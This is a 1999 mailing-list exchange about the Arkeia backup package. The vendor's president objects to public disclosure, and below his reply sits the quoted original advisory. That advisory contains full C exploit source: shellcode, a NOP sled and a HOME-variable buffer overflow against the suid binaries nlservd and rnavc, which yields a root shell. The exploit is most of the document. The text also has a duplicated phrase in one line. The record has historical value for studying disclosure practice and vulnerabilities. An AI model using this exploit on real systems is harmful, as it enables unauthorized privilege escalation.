Re: [arkeia-list] Multiple vendor Knox Arkiea local root/remote DoS

[ssiegel () ARKEIA COM (Sam B. Siegel)]

Dear Mr. Tellier,

Thanks for identifying a potential serious security error in Arkeia.  Our
engineering team will look at this closely.

In the future we would appreciate it if you could identify problems,
especially security related problems, to especially security related problems, to support () arkeia com.  By posting
the email, with 'C' source code to a public mailing list, you have revealed
potentially harmfully information to any and all readers of this list.
 This information could then be distributed to an even wider audience
without our knowledge.  We would have liked the opportunity to address any
security related issues in private so that any hole could be plugged before
an unscrupulous individual attempts to take advantage of it.  Your actions
have potentially put all users of Arkeia at risk for a security breach.  We
do not appreciate this at all.

Best regards,
Sam Siegel
President
Knox Software Corp

On Thursday, September 23, 1999 5:11 PM, Brock Tellier
[SMTP:btellier () webley com] wrote:
> Greetings,
>
>     Several vulnerabilities exist in the Knox Software Arkiea backup
> package.
>
> 1. Buffer overflows in /usr/knox/bin/rnavc and /usr/knox/bin/nlservd
> (suid by default in SuSE 6.2) yield local root (exploit attached)
> 2. A long string to nlservd's open port results in a crash.  This at
> least a DoS, possibly a remote exploit if anyone cares to take the time
> to investigate.
>
> According to the web page, the Arkiea backup package runs on dozens of
> OS's so this is certianly not limited to SuSE or Linux.
>
> Brock Tellier
> UNIX Systems Administrator
> Webley Systems
> www.webley.com
>
>
> /*
>  * nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
>  * exploits Arkiea's Knox backup package.
>  * gcc -o knox knox.c
>  * ./knox <offset> <buflen>
>  *
>  *
>  * NOTE: you *MUST* have void main(){setuid(geteuid());
> system("/bin/bash");}
>  *       compiled in /tmp/ui for this to work.
>  *
>  * To exploit rnavc, simply change the execl call to
> ("/usr/bin/knox/rnavc",
>  *                                                  "rnavc", NULL)
>  * -Brock Tellier btellier () webley com
>  */
>
>
> #include <stdlib.h>
> #include <stdio.h>
>
> char exec[]= /* Generic Linux x86 running our /tmp program */
>   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>   "\x80\xe8\xdc\xff\xff\xff/tmp/ui";
>
>
>
> #define LEN 2000
> #define NOP 0x90
>
> unsigned long get_sp(void) {
>
> __asm__("movl %esp, %eax");
>
> }
>
>
> void main(int argc, char *argv[]) {
>
> int offset=0;
> int i;
> int buflen = LEN;
> long int addr;
> char buf[LEN];
>
>  if(argc > 3) {
>   fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
>  exit(0);
>  }
>  else if (argc == 2){
>    offset=atoi(argv[1]);
>
>  }
>  else if (argc == 3) {
>    offset=atoi(argv[1]);
>    buflen=atoi(argv[2]);
>
>  }
>  else {
>    offset=2800;
>    buflen=1200;
>
>  }
>
>
> addr=get_sp();
>
> fprintf(stderr, "Arkiea Knox backup package exploit\n");
> fprintf(stderr, "For nlservd and rnavc\n");
> fprintf(stderr, "Brock Tellier btellier () webley com\n");
> fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
>
> memset(buf,NOP,buflen);
> memcpy(buf+(buflen/2),exec,strlen(exec));
> for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
>  *(int *)&buf[i]=addr+offset;
>
> setenv("HOME", buf, 1);
> execl("/usr/knox/bin/nlservd", "nlservd", NULL);
>
>
> }
>
>
>
>
> ---
> To "unsubscribe", email to majordomo () arkeia com with "unsubscribe
arkeia-list"
> in the message body.
> This command MUST be in the message BODY, not in the subject.